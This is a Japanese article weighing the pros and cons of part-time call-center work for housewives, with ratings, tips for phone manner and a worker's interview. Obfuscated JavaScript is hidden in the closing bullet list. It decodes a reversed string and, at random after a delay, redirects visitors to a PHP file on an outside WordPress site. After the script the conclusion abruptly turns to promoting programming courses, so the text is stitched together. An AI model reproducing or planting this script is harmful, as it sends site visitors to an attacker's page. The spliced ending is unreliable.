パートの求人を見ていると、時給800円、900円などの文字が目につきます。
正社員として稼いでいた時代と比べて、安いな…とため息をついている主婦は多いのではないでしょうか?
そんな中で、比較的時給が高めのコールセンターの仕事は、目を引きますよね。
この仕事が主婦にとってどんなメリット・デメリットがあるのか、口コミや続けやすさを調査してみました!
コールセンターのパートはどんな仕事?
- かかってきた電話を受けるテレフォンオペレーター(テレオペ)と、自分から電話をかけるテレフォンアポインター(テレアポ)の仕事がある
- テレアポの方が、テレオペより少し時給が高め
- シフト制だが、一日の拘束時間は6~8時間と長い傾向にある
- クレーム対応などの仕事も、ときどき入ってくる
コールセンターのパートをチャート形式で評価すると
評価の解説
- 始めやすさについて:★★★★★(5点満点中3点)
- 人の出入りが比較的頻繁な職業であるため、求人は常にあります。
しかし接客のための会話力などを問われますから、面接の難易度は中~高。総合して考えて、3点としました。 - 時間の自由度について:★★★★★(5点満点中1点)
- パートの場合、シフトで勤務日が決まります。
勤務時間は固定で、子どもが病気の場合にも、ちょっと抜けてお迎えに行く…といったことはできませんから、時間の自由度はないと言えます。 - 報酬について:★★★★★(5点満点中2点)
- 平均時給は1,000円と、パートの中では高めです。
しかし、他の職種を含めて総合的に判断すると、真ん中よりやや下に位置する金額なので、2点としました。 - 続けやすさ:★★★★★(5点満点中1点)
- 拘束時間が6~8時間と長めで、その間、ひたすら電話をしています。
また、クレームやいたずら電話などの相手をする必要もあるため、精神面での疲労が大きく、入れ替わりの激しい職種です。 - 復職しやすさ:★★★★★(5点満点中2点)
- 電話に特化したスキルが身に付きますので、同じコールセンター業務であれば、いつでも復職できるでしょう。
しかし、幅広い意味では、オフィスワークへの復職の助けとはなりません。
コールセンターパートのメリット・デメリット
- メリットは、人の出入りが頻繁なので募集は多く始めやすい
- 評価の「始めやすさ」の欄でもお伝えしましたが、募集は常に出ていますので、ビジネスマナーやトークに問題がなければ始めやすい仕事と言えるでしょう。
面接のときは、できればジャケットやスーツ着用で行った方が無難です。
- デメリットはクレーム対応など、ストレスが多いこと
- お客様からのクレーム対応などをする必要がありますから、ストレスが多いということが欠点です。
クレーム対応もスキルの一種なので、慣れてくれば上手にこなせるようになってきます。
しかし、精神面でのタフさがない主婦には向かないかもしれません。
コールセンターで仕事をするポイントは
言葉は礼儀正しく、分かりやすく、はっきりと
人の「会話」は、言葉で伝わる部分は7%、それ以外の93%は、みぶりや手振り、表情などで伝わっています。
電話は、その「目で見えるコミュニケーション」ができない分、伝えるための工夫が必要となります。
言葉ははっきりと、分かりやすく伝えましょう。
また、結論から先に述べ、理由を後から述べるなどという「話す順番」も大切になります。
また、見えないからといって仏頂面で話をしていると、音声を介して、それが伝わってしまいます。
見えなくても笑顔で、お礼を言うときは実際に頭を下げて話せば、お客様からの印象もぐっとアップします。
コールセンターパートで稼いだ経験者の口コミ
回答者:33歳山内さん(既婚主婦)
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コールセンターでのパートをはじめてどのくらい経ちますか?
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8カ月になります。
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お給料はいくらくらいですか?
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だいたい月に85,000円くらい。1日7時間勤務で週3日、時給は1,000円です。
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家庭との両立で、気を付けたことは?
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仕事の日は時間が長いので、子どものお迎えは実家の母の協力を得ながらやっています。
家が近いのと、週3日なので、引き受けてもらえました。
あとは、仕事の日の夜ご飯の下ごしらえを、仕事がない日にやっておくことでしょうか。
コールセンターでのパートは、下記のような主婦に向いていると言えるでしょう。
- $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dot”>
- 初心者でも学べば1か月程度でプロデビューできる
- 仕事の数が豊富で、在宅でも仕事ができる
- 熟練すれば、家事や育児と両立しながら、正社員並の稼ぎを得ることができる
このような特徴のある仕事で、スキルを磨いていけば、更に専門性の高いプログラマーへの転身も可能となります。
通信講座なら自宅で勉強でき、仕事も自宅ででき、稼げるプロになれる。
主婦にとって、こんなにうってつけの仕事はないと、私は考えています。
自宅で仕事ができるのですから、もし次の出産・育児で仕事を休んでも、そもそも「復職」という考え方すら不要になりますよね。
家庭を持つと、女性の仕事選びにはとたんに制限事項が多くなるのが、日本の現状。
環境が変わることを待つより、スキルを身に付けることで、より自由に活躍できる選択肢を手にいれてはいかがでしょうか?
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萩原由紀

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